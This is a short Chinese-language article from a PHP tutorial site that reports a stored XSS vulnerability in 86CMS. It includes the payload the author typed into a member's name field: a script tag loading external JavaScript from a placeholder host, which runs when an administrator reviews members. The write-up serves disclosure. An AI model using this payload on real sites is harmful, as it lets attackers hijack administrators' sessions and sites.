86CMS储存型XSS - 网站安全 - 自学php-自学php网

86CMS储存型XSS - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-17 11:59 作者：阅读:次

[导读] 帮朋友做个企业站，功能不要太多，就准备在网上找找，就看见86CMS了，碰巧有演示站！就小测试了一下！因为程序简单，这个XSS基本不针对访问者，只针对管理员注册一个会员，在姓名...

帮朋友做个企业站，功能不要太多，就准备在网上找找，就看见86CMS了，碰巧有演示站！就小测试了一下！
因为程序简单，这个XSS基本不针对访问者，只针对管理员
注册一个会员，在姓名中填写

<SCRIPT/XSS SRC="http://www.xxx.xx/xss.js"></SCRIPT>
引用外部JS！
当管理员进入后台，点击会员管理（网站默认有会员审核机制），可以注册一个会员，然后通过网站联系管理员要求审核通过！
测试的时候发现只屏蔽了（）
什么<>'"都木有屏蔽
而且只要输入非法的东西，都提示“不要注入”

phpcms v9最新爆管理密码漏洞及修复方案 - 网站安

欢畅游戏平台分站多个漏洞及修复 - 网站安全

子栏目

86CMS储存型XSS - 网站安全 - 自学php

最新评论

添加评论

更多文章推荐

添加评论